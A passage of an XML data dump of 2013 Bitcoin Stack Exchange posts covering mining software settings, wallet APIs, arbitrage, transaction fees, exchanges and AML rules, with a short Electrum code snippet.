-d?&lt;/code&gt; -- I found this to be a lot better on linux than cgminer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then start your miner with &lt;code&gt;sudo bfgminer -o $pool.goes.here -u $USER -p $PASSWORD -S all&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6374" LastEditorUserId="2306" LastEditDate="2013-08-16T18:15:52.653" LastActivityDate="2013-08-16T18:15:52.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12686" PostTypeId="2" ParentId="12680" CreationDate="2013-08-15T22:52:40.393" Score="1" Body="&lt;p&gt;To expand a bit on the above answer, blockchain.info provides information about several APis and exchanges here: &#xA;&lt;a href=&quot;https://blockchain.info/api/3rd_party_apis&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/3rd_party_apis&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6374" LastActivityDate="2013-08-15T22:52:40.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12687" PostTypeId="1" CreationDate="2013-08-16T06:38:17.463" Score="4" ViewCount="4991" Body="&lt;p&gt;I spent several hours looking for an API, or a documentation that wouldn't be too much complex but this single thing which I was thinking would be a natural question for anyone who wanted to get started with Bitcoin programming doesn't seem to be very documented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a way to automatically create a Bitcoin wallet online, I want to create an experience similar to this : &lt;a href=&quot;http://www.bitcoinbymobile.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinbymobile.com/&lt;/a&gt; (&quot;Get Started&quot; -&gt; &quot;I don't have a bitcoin Wallet&quot;). They create a bitcoin wallet for the user directly online and give him a bitcoin address : that's exactly what I would like to achieve. However I can't find any documentation on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My ultimate goal is to create a wallet online for the user and to let him put money in this wallet using his local currency and his credit card. But considering what I've seen so far, bitcoin exchange automation seems to be a great deal at this time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, my whole question is : do you know any good (and ideally easy) way to programmatically create a bitcoin wallet and generate an adresse on a website AND (I realize it's a different question) to fund this account with a credit card. I find that this is the part of using bitcoins that is really missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can't expect people to use bitcoins for retail commerce if there is not an easy way to create a wallet and to fund it rapidly. For now, what I have understood is that people have to create a wallet either by downloading the program or by creating it on a website and then, they have to have to find an other good website to buy bitcoins. The actual system seems to be more oriented to financials who don't mind to do it than to the average customer who will very rarely complicate his life like this. &lt;/p&gt;&#xA;" OwnerUserId="6376" LastEditorUserId="6376" LastEditDate="2013-08-16T06:51:24.317" LastActivityDate="2017-11-22T08:11:47.880" Title="Automate Bitcoin Wallet Creation" Tags="|wallet|development|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12688" PostTypeId="2" ParentId="12687" CreationDate="2013-08-16T08:37:16.750" Score="3" Body="&lt;p&gt;You need to use JSONRPC interface used by bitcoin daemon.&#xA;&lt;br&gt;See this: &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)&lt;/a&gt;&lt;br&gt;&#xA;or specific PHP example: &lt;a href=&quot;https://en.bitcoin.it/wiki/PHP_developer_intro&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/PHP_developer_intro&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-08-16T08:37:16.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12689" PostTypeId="1" CreationDate="2013-08-16T10:11:37.020" Score="2" ViewCount="103" Body="&lt;p&gt;I'm usually pretty good at figuring things out, but this one has me stumped. Yesterday I saw 5 or so (don't remember exactly) bitcoin-qt(something).gz files in my trash that i had NOT sent there. It was late and I was tired so left it for the morning. This morning upon starting up, they were gone. I checked through most logs including apt, dmesg, changelog, etc. for clues, but found nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My coins are still in the wallet now and it is encrypted. Should I worry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Maybe there was some update and the files were moved to the trash to be purged upon restart...? I find no evidence of an update yesterday. Maybe I missed something. Bitcoin-qt is in my sources.list. However, I find no such info in the changelog...&lt;/p&gt;&#xA;" OwnerUserId="6379" LastEditorUserId="6379" LastEditDate="2013-08-16T16:25:02.750" LastActivityDate="2013-08-16T16:25:02.750" Title="bitcoin files mysteriously show up in trash" Tags="|bitcoin-core|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12690" PostTypeId="2" ParentId="12670" CreationDate="2013-08-16T12:23:15.753" Score="42" Body="&lt;p&gt;I've writen software to arbitrage on some US exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't arbitrage without software because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It was hard to account for all fees to understand if an opportunity is profitable.&lt;/li&gt;&#xA;&lt;li&gt;It took a couple of minutes to evaluate opportunities (query an exchange's order book, query another exchange's order book, do an evaluation, execute a sell, execute a buy) and by that point the evaluation may be invalid.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here are the factors that make it hard for me to arbitrage with software:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Small (fractions of a percent) profit margins. As pointed out earlier everyone in the loop is taking fees.&lt;/li&gt;&#xA;&lt;li&gt;Small (seconds to minutes) profitable time windows&lt;/li&gt;&#xA;&lt;li&gt;Slow (2-8 days) cycle times to move USD back into position for sale&lt;/li&gt;&#xA;&lt;li&gt;Large Capital requirements - since the margins are so small for arbitrage to be worth it on an annual basis takes a lot of assets. For example I might make a few cents or dollars on a $1K sale and purchase of Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;Risk - with large capital requirements comes risk of loss. What if a trade becomes unprofitable before the arbitrage completes? What if Bitcoin tanks?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am interested in non-US exchanges since the spreads are bigger but I expect it will increase some of the issues above, especially fiat cycle time since my base is USD&lt;/p&gt;&#xA;" OwnerUserId="841" LastEditorUserId="841" LastEditDate="2013-08-16T12:38:18.333" LastActivityDate="2013-08-16T12:38:18.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12691" PostTypeId="1" CreationDate="2013-08-16T13:55:24.170" Score="0" ViewCount="1963" Body="&lt;p&gt;I would like to buy some bitcoins (and potentially litecoins). I live in Europe, what is the best way to get and trade them from Europe? I would like to avoid all unnecessary fees, as much as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also heard that MtGox has some problems and withdraw the money from there is quite annoying in this period.&lt;/p&gt;&#xA;" OwnerUserId="6226" LastActivityDate="2017-07-19T21:15:22.720" Title="Best trader from an European perspective" Tags="|trading|europe|" AnswerCount="1" CommentCount="1" ClosedDate="2013-09-11T21:51:16.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="12696" PostTypeId="2" ParentId="12585" CreationDate="2013-08-16T15:10:05.607" Score="1" Body="&lt;p&gt;Your link to the &quot;old version of the API&quot; is actually going to the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/Streaming&quot; rel=&quot;nofollow&quot;&gt;streaming API&lt;/a&gt; which is still available.  Only the http version was updated and from there it looks difficult to obtain accurate  depth info reliably for precise time periods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd stick with streaming. Updated much more in real-time for your requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now they deprecated the depth:volume field but they still have volume_int, which is volume change * 1E8, so you could obtain volume from that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//js for example&#xA;var volume = volume_int * Math.pow(10,-8);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check out the github samples at the bottom of the wiki page to help get started.  &lt;a href=&quot;https://github.com/ralphtheninja/goxstream/blob/master/index.js&quot; rel=&quot;nofollow&quot;&gt;For example, this one&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-08-16T15:10:05.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12697" PostTypeId="2" ParentId="6133" CreationDate="2013-08-16T15:56:29.053" Score="0" Body="&lt;p&gt;Wanted to add to this, for the streaming/ws API the wiki links to a git repo from ralphtheninja, who has provided a library for a &lt;a href=&quot;https://github.com/ralphtheninja/goxstream&quot; rel=&quot;nofollow&quot;&gt;node.js readable stream for mtgox.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it converts the stream to a node.js stream.Readable object.&lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-08-16T15:56:29.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12699" PostTypeId="2" ParentId="12428" CreationDate="2013-08-16T19:03:22.453" Score="3" Body="&lt;p&gt;Ripple supports a distributed currency exchange; anyone can offer to exchange from one currency to another. These offers are taken when a counter offer the same or better is made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like any exchange between two parties, the price would be based on supply and demand, world events, what the market will bear, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage is there’s no single point of failure that would cripple the market. We’ve seen what happens to bitcoin when Mt. Gox goes down or is under a denial of service attack. That’s obviously not a problem with decentralized exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with the new &lt;a href=&quot;https://ripple.com/blog/bitcoin-bridge-lets-ripple-users-make-payments-to-bitcoin-accounts/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Bridge&lt;/a&gt; feature of Ripple, you can pay anyone in Bitcoin from a Ripple wallet. The currency exchange is done by an organization (a.k.a a gateway I believe) running the freely available Bitcoin Bridge protocol, like &lt;a href=&quot;https://www.bitstamp.net&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt;. You can see as of this moment, the Bitstamp rate is $98 per Bitcoin. You can see the exchange rates of the exchanges at &lt;a href=&quot;http://bitcoinaverage.com&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Average&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="593" LastActivityDate="2013-08-16T19:03:22.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12701" PostTypeId="1" CreationDate="2013-08-16T20:55:09.147" Score="3" ViewCount="641" Body="&lt;p&gt;Say I have 1 Bitcoin in my wallet. I need to pay my friend for something and it just so happens he will accept 1 Bitcoin as the payment. I send my friend my one and only Bitcoin because he is a good friend and the transaction gets confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All was fine until I went peeping under the hood. I'm running bitcoind so I ran the command listtransactions and looped over everything with an output of console.log(amount, fee). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the picture below: (send, fee)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vubUk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reality I sent 14.3438969 Bitcoins to another address which was the entire balance of the wallet. Where could the fee (-0.0002) have come from? Since I sent the remainder of my coins there are no more to take to pay that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First let me state that I actually sent the coins to a different address in the same wallet and if that's complicating the issue then I'm just a big dummy but I still don't get it. AFAIK senders get charged the fee? Is this correct? So that 0.0002 would get applied to the senders account (me). But I sent all of my coins so there are none left? Does this mean I have negative coins or that next time I receive part of that will pay the fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could address this and explain conceptually how the fees in the cases I have brought up would work it would be very helpful. I cannot seem to find the docs and who pays the fee, at won't point it's assessed, etc..&lt;/p&gt;&#xA;" OwnerDisplayName="user6382" LastActivityDate="2015-07-21T13:09:33.023" Title="Where would a fee come from when I send the remainder of my Bitcoins?" Tags="|transaction-fees|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12702" PostTypeId="2" ParentId="12605" CreationDate="2013-08-16T21:22:36.250" Score="3" Body="&lt;p&gt;I'm not a lawyer. In the U.S., the lack of &lt;a href=&quot;http://en.wikipedia.org/wiki/Mens_rea&quot; rel=&quot;nofollow noreferrer&quot;&gt;mens rea&lt;/a&gt; in your example would not cause you to have violated any laws.  As a person selling your coins, it is not your responsibility to determine your buyer's intentions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this is not quite so simple.  Money transmitters have regulations that include AML/KYC (know your customer) requirements which might be a factor here.   &lt;a href=&quot;https://en.wikipedia.org/wiki/Financial_Crimes_Enforcement_Network&quot; rel=&quot;nofollow noreferrer&quot;&gt;FinCEN&lt;/a&gt; has asserted that the conversion of bitcoins to and from cash (or other substitutes for value) is transmission of money.  So if you are engaged in trading as a business (i.e., not as an &quot;infrequent&quot; trader) you would likely be expected to be registered as a money service business (MSB), be licensed as a money transmitter and follow the AML/KYC requirements when conducting those trades.   Those requirements would involve gathering identity in certain instances, keeping records (for five years), and reporting suspicious activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, whether law enforcement will pursue a trader for trading without registering or following AML/KYC is unknown.  There are multiple individual traders whose banks have taken action to shut down service to their customers whose banking activity might be linked to providing Bitcoin exchange services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So regardless of whether there is legal risk, there are other hurdles when engaging in trading to consider.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="37414" LastEditDate="2018-05-01T19:50:36.060" LastActivityDate="2018-05-01T19:50:36.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12703" PostTypeId="2" ParentId="12642" CreationDate="2013-08-16T21:26:57.880" Score="2" Body="&lt;p&gt;To help make it possible for your donor to prove that the funds were indeed sent to your organization, a new feature known as the &lt;a href=&quot;http://en.bitcoin.it/wiki/BIP_0070&quot; rel=&quot;nofollow&quot;&gt;Bitcoin payment protocol&lt;/a&gt;, planned for release in version v0.9, will help with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The payment request can include information that alone could likely serve as the receipt for the donor.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-08-16T21:26:57.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12704" PostTypeId="2" ParentId="12649" CreationDate="2013-08-16T21:35:56.403" Score="1" Body="&lt;p&gt;The &quot;51% attack&quot; that is a known vulnerability impacting proof-of-work digital currencies like Bitcoin has to do with 51% of the mining capacity, not 51% of the currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a concept referred to as the &quot;&lt;a href=&quot;http://en.bitcoin.it/wiki/Economic_majority&quot; rel=&quot;nofollow&quot;&gt;economic majority&lt;/a&gt;&quot; but that describes how those who hold coins and buy newly mined coins are the parties who essentially have the final say on whether changes to the protocol will be accepted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as a party with a lot of coins having the ability to impact the exchange rate, that is true.  This is true though whether the commodity is bitcoins, gold, pork bellies, or any other commodity.  With the ability to open a short position (borrowing bitcoins and selling them), the exchange rate can be manipulated without even owning bitcoins.  Now whether this activity is profitable or not is a completely different matter and has to do with liquidity, time frame, tolerance for risk and other factors specific to the speculator(s) attempting the manipulation.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-08-16T21:35:56.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12705" PostTypeId="2" ParentId="12598" CreationDate="2013-08-16T21:42:27.337" Score="2" Body="&lt;p&gt;You do not have a Bitcoin wallet at LocalBitcoins.  Instead you have only a ledger &lt;strong&gt;account&lt;/strong&gt; with their hosted (shared) Bitcoin &lt;strong&gt;E-Wallet&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this means is that you cannot use the blockchain to track your balance.  You can only use it to determine how many confirmations your transfer (deposit) has received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The E-Wallet provider simply credits your account when they see a confirmed deposit transaction (e.g., 6 block confirmations) to a Bitcoin address associated with your E-Wallet account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To know your balance, you will need to login to your E-Wallet account on LocalBitcoins.  That will show you your balance.  The account details will show deposits, withdrawals, purchases and sales.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-08-16T21:42:27.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12706" PostTypeId="1" CreationDate="2013-08-16T21:53:03.117" Score="2" ViewCount="89" Body="&lt;p&gt;Modern clients broadcast the protocol version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A snapshot of the data summarizing the numbers per-client occasionally will appear, but I'm wondering if this info is published periodically or is otherwise publicly available on-demand.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="5406" LastEditDate="2017-12-23T19:50:47.847" LastActivityDate="2017-12-23T19:50:47.847" Title="Is there a chart that shows the breakdown of the protocol versions in use?" Tags="|live-data|nodecount|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12707" PostTypeId="2" ParentId="11545" CreationDate="2013-08-16T22:10:56.427" Score="3" Body="&lt;p&gt;You can actually pick up a PCI to PCI-E 1x (open end) adapter and plug in any video card you want. Then use a PCI-E 1x to 16x adapter. This is an example, but there are cheaper ones out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.quill.com/startech-pci-cards/cbs/352874.html?cm_mmc=SEM_PLA_T_352874&quot; rel=&quot;nofollow&quot;&gt;http://www.quill.com/startech-pci-cards/cbs/352874.html?cm_mmc=SEM_PLA_T_352874&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6386" LastActivityDate="2013-08-16T22:10:56.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12708" PostTypeId="2" ParentId="8702" CreationDate="2013-08-16T22:18:07.577" Score="0" Body="&lt;p&gt;Nick's answer is very helpful, but might not be sufficient to get us (and BitCoin) in the clear. There may be a valid and grave concern based on the fact that crypto hashing functions aren't proven to satisfy constraints 2 and 3, so they potentially can be weak. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though people could switch away from a crypto hashing function to a better one, what would allow us to know for sure that someone isn't silently using the weakness of the hashing function to steal? Going undetected would allow you to leech from the bitcoin system, perhaps by getting a enormous share of mining rewards without expending nearly as much computing power. This kind of arbitrage could allow you to get rich off of every nerd who uses BitCoin (admittedly myself included) and some venture capitalists (I'm getting there ;) ). And since we're speculating, wouldn't it be convenient to tie develop a currency based on crypto if you want to get really rich. Obviously, exploiting it without removing its potential for growth and adoption...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know the exploit to SHA-256 and know how to leech off BTC and other crypto currencies, the altruistic and honorable thing to do is publish the exploit. The egocentric thing to do would be to abuse it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that someone will prove me wrong about this potential for abuse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, it basically comes down to this: with great power comes great responsibility! Everybody says trust isn't needed with BitCoin. It STILL comes down to trust, but now trust that no one came up with this loophole or that the one who did isn't breaking the system more than it's contributing societal value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really have big respect for the person for choosing honor above personal gain. Unless you siphon the gains to a good cause, but even then I'm sure that a single person isn't best capable of handling those amounts of value. A crowd or even a market knows better how to allocate funds somewhat optimally.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="105" LastEditDate="2013-08-18T16:35:09.373" LastActivityDate="2013-08-18T16:35:09.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12710" PostTypeId="2" ParentId="12679" CreationDate="2013-08-17T02:50:41.490" Score="1" Body="&lt;p&gt;You should be fine as long as you avoid sending coins specifically to that address, but I would delete it just to be safe. The app that I use doesn't let me delete addresses directly, so I just re-installed it. &lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-08-17T02:50:41.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12711" PostTypeId="1" CreationDate="2013-08-17T05:21:23.113" Score="3" ViewCount="434" Body="&lt;p&gt;I am building an application for which I wish users to be given a unique address to which they can freely deposit funds into their account. Meanwhile, I want to be able to both track their balance &lt;em&gt;and&lt;/em&gt; use the bitcoins they've given me. Their balance is effectively the total amount of bitcoins that their assigned address has ever received (regardless of if the coins have been spent) minus whatever I've charged them, and I need a way to determine the first bit.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, my server does not have enough storage space to use bitcoind, so I've been using electrum, though I'm fine using another piece of software or even a web api so long as it's reasonably secure.&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2013-08-17T20:35:39.973" Title="How to programmatically determine the number of bitcoins ever deposited to a given address?" Tags="|electrum|balance|website-integration|funds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12713" PostTypeId="2" ParentId="12701" CreationDate="2013-08-17T17:10:27.067" Score="2" Body="&lt;p&gt;First, you cannot have negative amounts of Bitcoin in your wallet. Just like with cash there can only be a positive amount.&#xA;You can, however, depending on what settings you are using, make transactions without attaching a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps, when you tried to send all your money, the software automatically reduced the sent amount to the maximum you could send in order to still have enough for the fee. This would show up as the full amount leaving your wallet, but only the amount without fee being signed over to your friend.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-07-21T13:09:33.023" LastActivityDate="2015-07-21T13:09:33.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12714" PostTypeId="2" ParentId="12629" CreationDate="2013-08-17T17:23:55.217" Score="1" Body="&lt;p&gt;It can be advantageous to split transactions in order not to draw from different addresses in one transaction, because that would announce that both addresses belonged to the same Wallet (for the privacy paranoid user).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The priority of a transaction is reduced by having more source addresses, however it is on the other hand increased by sending a larger amount. Coins that have been held for a longer time also increase the priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see why it would have been necessary to transact in this fashion and I think the overall size for the network would be the same (2*250B or 1*500B).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would assume that you had two different addresses holding coin that were each emptied each in one transaction.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-08-17T19:16:13.260" LastActivityDate="2013-08-17T19:16:13.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12716" PostTypeId="2" ParentId="12103" CreationDate="2013-08-17T18:04:29.533" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The standard software uses some heuristics trying to minimize the transaction data size (which mostly means as few inputs as possible), with preference to older outputs which have higher priority. More information is available at &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1077/what-is-the-coin-selection-algorithm&quot;&gt;What is the coin selection algorithm?&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/User:Gmaxwell/coin_selection&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/User:Gmaxwell/coin_selection&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the sum of the inputs you use is larger than the amount of coins you wish to send, and you want to get the difference back rather than paying to the miner, you'll need a change output. Since the inputs almost never happen to sum up exactly, and you do want the change, almost all transactions have a change output; but there's no rule saying there must be one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Every block has a special generation transaction. The miner who finds the block can freely choose the outputs for this transaction, as long as their total value is no more than the generated coins + total transaction fee.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-08-17T18:04:29.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12717" PostTypeId="2" ParentId="12711" CreationDate="2013-08-17T20:35:39.973" Score="1" Body="&lt;p&gt;Using electrum, after instantiating a Wallet instance, the code to achieve this looks like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_total_received(addr): &#xA;    &quot;&quot;&quot;Returns the number satoshis ever received by this addr.&#xA;    Includes coins sent to this addr from this addr (eg change)&#xA;    and coins received by addr, but already spent&quot;&quot;&quot;&#xA;    load_interface()&#xA;    hist = wallet.get_history(addr)&#xA;    s = 0&#xA;    for tx_hash, tx_height in hist:&#xA;        tx = wallet.transactions.get(tx_hash)&#xA;        for out_addr, value in tx.outputs:&#xA;            if out_addr==addr:&#xA;                s += value&#xA;    return s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main difference between this method and what is presented by blockchain.info as 'Total Received' is that if the address sends bitcoins to itself, this method will count those towards the total received whereas blockchain.info will not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note that this only works if addr is contained in your electrum wallet.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2013-08-17T20:35:39.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12718" PostTypeId="2" ParentId="12691" CreationDate="2013-08-17T22:47:20.690" Score="1" Body="&lt;p&gt;One option is &lt;a href=&quot;https://www.bitstamp.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitstamp.net&lt;/a&gt; which is currently the exchange with the biggest trade volume world wide, operating out of UK. SEPA deposits valued in Euro are free and so is the withdrawal of Bitcoin. Deposits valued in USD and GBP have a minimal fee of 15$/15£ respectively.&#xA;They charge up to 0.5% commission on trades, less if you trade more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't guarantee this is actually the best option, but they have a simple process in place and act as escrow. At least for small volumes of bitcoin the fees are better than &lt;a href=&quot;https://www.bitcoin.de&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin.de&lt;/a&gt;, where they charge 1% commission and MtGox (up to 0.6%).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a list of more exchange services on &lt;a href=&quot;https://en.bitcoin.it/wiki/Category:Exchanges&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoin.it&lt;/a&gt;.&#xA;However, at least some entries seem to be horribly outdated (e.g. Bitcoin24 was last updated in April 2013, yet there were some developments concerning their availability since then).&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="4138" LastEditDate="2017-07-19T21:15:22.720" LastActivityDate="2017-07-19T21:15:22.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12720" PostTypeId="2" ParentId="12663" CreationDate="2013-08-18T03:02:32.990" Score="1" Body="&lt;p&gt;&quot;listtransactions&quot; will list all the transactions associated with your specific bitcoin wallet.  The &quot;All Accounts&quot; business, I believe, has to do with the various addresses someone could have withing a single wallet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have an address where I receive donations, and a different address where I receive mining payouts.  by default &quot;listtransactions&quot; will list all my transactions from both addresses, however, I could specify one of my addresses and it would list only those transactions.  It's an easy way to get more granularity in the lists and organize your data better.&lt;/p&gt;&#xA;" OwnerUserId="6065" LastActivityDate="2013-08-18T03:02:32.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12721" PostTypeId="1" CreationDate="2013-08-18T03:05:03.820" Score="0" ViewCount="8829" Body="&lt;p&gt;I am using guiminer .The pool is deepbit.com.&lt;br&gt;&#xA;when I start mining, states show &lt;code&gt;shares 0 accepted 6 stale/invalid&lt;/code&gt;&lt;br&gt;&#xA;What does the message mean?&lt;/p&gt;&#xA;" OwnerUserId="6397" LastEditorUserId="5406" LastEditDate="2016-04-28T14:12:45.907" LastActivityDate="2016-04-28T14:12:45.907" Title="guiminer shares 0 accepted 6 stale/invalid,what does the message mean?" Tags="|mining-pools|terminology|guiminer|" AnswerCount="1" CommentCount="2" ClosedDate="2014-03-16T18:32:17.313" ContentLicense="CC BY-SA 3.0" />
  <row Id="12722" PostTypeId="2" ParentId="12574" CreationDate="2013-08-18T03:15:17.420" Score="0" Body="&lt;p&gt;Stratum is dependent on the pool you are operating with.  First you need to find a pool that supports terracoin, a short list can be found at &lt;a href=&quot;http://terracoin.org/directory/&quot; rel=&quot;nofollow&quot;&gt;terracon.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you decide on a pool, read their &quot;Help&quot; section to find the server settings required.  I works exactly the same as bitcoin, you will enter a server address, a connection port, a username and a password. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you are using cgminer the parameters will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer -o http://pool:port -u username -p password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But plug in the values given from the pool.  Welcome to Stack Exchange and good luck!&lt;/p&gt;&#xA;" OwnerUserId="6065" LastActivityDate="2013-08-18T03:15:17.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
